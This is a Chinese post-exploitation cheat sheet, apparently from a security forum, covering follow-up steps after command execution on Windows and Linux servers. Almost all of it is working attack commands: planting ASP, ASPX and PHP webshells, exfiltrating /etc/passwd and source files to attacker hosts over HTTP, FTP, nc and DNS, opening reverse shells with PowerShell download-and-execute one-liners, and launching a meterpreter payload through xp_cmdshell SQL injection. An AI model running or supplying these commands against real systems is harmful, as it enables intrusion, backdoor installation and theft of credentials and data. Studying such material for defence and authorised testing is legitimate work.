本地markdown粘贴又出现问题:( 打个广告https://notwhy.github.io/2018/09/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%80%BB%E7%BB%93/
0x00 前言
命令执行后有关的一些归纳(持续补充)。
0x01 基础详情
针对命令执行后对系统做更深入的渗透,常规先判断系统类型,命令是否回显,以及目标系统是否能够出网,即系统类型->是否回显->能否出网。代码相对简单,所以很多都是直接贴代码,有错误之处欢迎指正。
1.可回显
webshell(apache tomcat nginx等可直接解析脚本的写入webshell)
window
dir /s/a-d/b d:\*123456.asp #查找123456.asp 位置
echo ^<^%eval request^(chr^(35^)^)^%^> > "d:\JINHER\C6\JHSoft.Web.Login\images\LoginTemplate\whynot.asp" # <>等特殊符号在cmd下需要转码 而且写入文件不可带有<>:等特殊字符
copy c:\\Inetpub\\wwwroot\\ckfinder\\userfiles\\files\\images\\cknife.jpg c:\\Inetpub\\wwwroot\\ckfinder\\userfiles\\files\\images\\cknife.aspx # 命令不好使时尝试其他命令
for /F %s in ('dir /s/a-d/b c:\*.aspx') do echo 123 >123.aspx
在有aspx文件的后面重新生成.aspx的后缀 内容为123 例如a.aspx 生成a.aspx.aspx #缺点相对暴力 优点不回显有时候也可以用
for /F %s in ('dir /s/a-d/b f:\*login.css') do echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >%s.aspx
linux
locate find等命令 查询文件位置
echo PD9waHAgcGhwaW5mbygpOz8+ | base64 -d > 360.php #PD9waHAgcGhwaW5mbygpOz+是<?php phpinfo();?> base64编码 linux文件名不能带有/(斜杠)
OOB(out of band) (无法回显和能出网时使用)
window
基于OOB(out of band)的回显(能出网)
for /F %s in ('whoami') do start http://10,10.10.10:8080/?user=%s #查询文件位置web历史记录 会打开目标浏览器
for /F %s in ('dir /b') do start http://10.10.10.10:81/?user=%s
curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user {username}:{password} #传输到ftp
wget –header="EVIL:$(cat /etc/passwd)" http://xxx.xxx.xxx:xxxx #需要自搭建server服务器支持
#wget –header=”evil:`cat /etc/passwd | xargs echo –n`” http://xxx.xxx.xxx:xxxx
wget –post-data exfil='cat /etc/passwd' http://dnsattacker.com # extract data in post section
wget –post-file trophy.php http://dnsattacker.com # extract source code
cat /path/to/sensitive.txt | curl –F ":data=@-" http://dnsattacker.com/test.txt
Viticm
nc -w 1000 10.10.10.10 1234 < config.php
Attacker
nc -l 1234 > config.php
linux
基于OOB(out of band)的回显
#curl `whoami`.xxxx.xxx(子域名) #可以用该方法把不回显变得回显
#curl http://10.10.10.10:81/?user=`id`
#wget http://10.10.10.10:81/?user=`id`
#ping %USERNAME%.b182oj.ceye.io
#ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.xxx.com DNS记录获取源IP(根据情况需要修改,不通用)
通用的一些
需要域名服务器支持
Victim #参考https://www.exploit-db.com/docs/english/45370-out-of-band-exploitation-(oob)-cheatsheet.pdf
cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=GetContentoutput.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){$final=$j.tostring()+'.'+$i+'.fzrsuf.3w1.pw';$j += 1; nslookup $final }"
Attacker
sudo tcpdump -n port 53 | tee file.txt
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -pr
Victim
wget --header=evil:$(ifconfig|xxd -p -c 100000) http://dnsattacker.com:9000
Attacker:
echo "0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p
2.可出网
反弹shell或传马(使用tcpdump -i eth0 icmp 来监听或者搭建web服务器查看访问日志等来能否出网)。
window 使用ping 或者下面的download来判断是否能够出网,
powershell直接反弹(03默认无powershell winserver08默认是2.0)
powershell IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 8.8.8.8 -port 8888 #反弹shell
powershell -C "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -l -p 8888" #监听本地nc
http://8.8.8.8/2.php?id=1;exec master..xp_cmdshell 'powershell IEX(New-Object Net.WebClient).DownloadString(''http://youvps/Empire/data/module_source/code_execution/Invoke-Shellcode.ps1'');Invoke-Shellcode -payload windows/meterpreter/reverse_http -lhost 8.8.8.8 -lport 4444 -force';-- #powershell调用msf反弹
IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/nishang/Scan/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 #扫描端口
msf或者nc或者colbat strike传马等(msf为例)
点击收藏 | 2
关注 | 3